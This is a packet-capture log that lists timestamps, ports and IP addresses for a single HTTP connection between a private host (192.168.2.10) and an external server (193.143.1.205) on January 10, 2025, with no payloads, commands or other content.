Jan 10, 2025 17:13:49.916347980 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.916379929 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.916452885 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.916465998 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.916480064 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.916491032 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.916505098 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.916505098 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.916532993 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.916690111 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.916709900 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.916722059 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.916733980 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.916737080 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.916749001 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.916762114 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.916763067 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.916775942 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.916791916 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.916812897 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.916908979 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.916999102 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.917011023 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.917043924 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.917047024 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.917062044 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.917076111 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.917094946 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.917121887 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.917181969 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.917193890 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.917207003 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.917220116 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.917232990 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.917244911 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.917248964 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.917268038 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.917299032 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.917429924 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.917442083 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.917454958 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.917467117 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.917493105 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.917503119 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.917515993 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.917535067 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.917537928 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.917550087 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.917565107 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.917567968 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.917593956 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.917629004 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.917649984 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.917661905 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.917671919 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.917678118 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.917690992 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.917701960 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.917704105 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.917732954 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.920592070 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.920604944 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.920615911 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.920658112 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.920696974 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.921114922 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.921128035 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.921139002 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.921150923 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.921164036 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.921165943 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.921178102 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.921194077 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.921205997 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.921207905 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.921219110 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.921236992 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.921248913 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.921263933 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.921263933 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.921279907 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.921293020 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.921293974 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.921307087 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.921323061 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.921328068 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.921339035 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.921355963 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.921408892 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.923715115 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.929209948 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.931571960 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.931591034 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.931605101 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.931621075 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.931633949 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.931659937 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.931703091 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.934854031 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.969950914 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.970021009 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.970052958 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.970067024 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.970079899 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.970093012 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.970107079 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.970119953 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.970119953 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.970134974 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.970145941 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.970155001 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:49.970160007 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:49.970197916 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.002377033 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.002403975 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.002418041 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.002430916 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.002444029 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.002471924 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.002518892 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.008940935 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.008960009 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.008974075 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.008986950 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.009006977 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.009011030 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.009018898 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.009032965 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.009046078 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.009047031 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.009063005 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.009072065 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.009080887 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.009083986 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.009114027 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.041127920 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.041161060 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.041172028 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.041184902 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.041199923 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.041212082 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.041213036 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.041238070 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.041254044 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.041254997 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.041270018 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.041282892 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.041282892 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.041297913 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.041311026 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.041317940 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.041331053 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.041342974 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.041343927 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.041354895 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.041376114 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.041377068 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.041390896 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.041393995 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.041412115 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.041419983 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.041425943 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.041436911 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.041448116 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.041454077 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.041467905 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.041471004 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.041486979 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.041500092 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.041511059 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.041513920 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.041527033 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.041539907 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.041542053 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.041553974 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.041560888 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.041599035 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.041604042 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.041624069 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.041635990 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.041647911 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.041660070 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.041661978 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.041673899 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.041685104 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.041690111 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.041703939 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.041714907 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.041722059 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.041732073 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.041753054 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.041771889 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.041779041 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.041883945 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.041899920 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.041913033 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.041927099 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.041929960 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.041939020 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.041951895 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.041955948 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.041984081 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.042121887 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.042135000 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.042148113 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.042162895 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.042195082 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.042222023 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.042233944 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.042246103 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.042258978 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.042270899 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.042280912 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.042294025 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.042294979 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.042308092 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.042321920 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.042327881 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.042336941 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.042349100 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.042361021 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.042368889 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.042376041 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.042387962 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.042416096 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.042422056 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.042438030 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.042449951 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.042462111 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.042473078 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.042484045 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.042484999 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.042498112 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.042505026 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.042512894 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.042526007 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.042532921 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.042541981 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.042560101 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.042577028 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.042651892 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.042665005 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.042678118 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.042692900 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.042694092 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.042737007 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.042793036 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.042917013 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.042928934 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.042941093 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.042953968 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.042956114 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.042967081 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.042973995 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.042984962 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.042999029 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.043020964 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.043034077 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.043037891 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.043045998 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.043059111 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.043061018 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.043071985 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.043071985 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.043087006 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.043097973 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.043098927 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.043112040 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.043124914 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.043126106 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.043140888 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.043148994 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.043183088 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.051446915 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.056691885 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.056711912 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.056724072 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.056736946 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.056749105 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.056761026 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.056777000 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.056803942 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.056842089 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.086189032 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.089217901 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.089237928 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.089260101 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.089267015 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.089281082 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.089296103 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.089308023 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.089308977 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.089323044 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.089340925 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.089340925 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.089390993 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.094952106 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.095714092 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.095730066 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.095752001 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.095765114 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.095776081 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.095781088 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.095789909 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.095801115 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.095807076 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.095814943 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.095828056 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.095880985 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.095907927 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.095918894 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.095928907 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.095936060 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.095946074 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.095953941 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.095967054 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.095978022 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.095982075 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.095993996 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.096020937 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.102700949 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.129477024 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.129496098 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.129508972 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.129522085 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.129534006 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.129548073 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.129559994 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.129571915 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.129578114 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.129585028 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.129599094 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.129612923 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.129636049 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.129648924 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.129661083 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.129668951 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.129668951 CET	49732	80	192.168.2.10	193.143.1.205
Jan 10, 2025 17:13:50.129678011 CET	80	49732	193.143.1.205	192.168.2.10
Jan 10, 2025 17:13:50.129690886 CET	80	49732	193.143.1.205	192.168.2.10
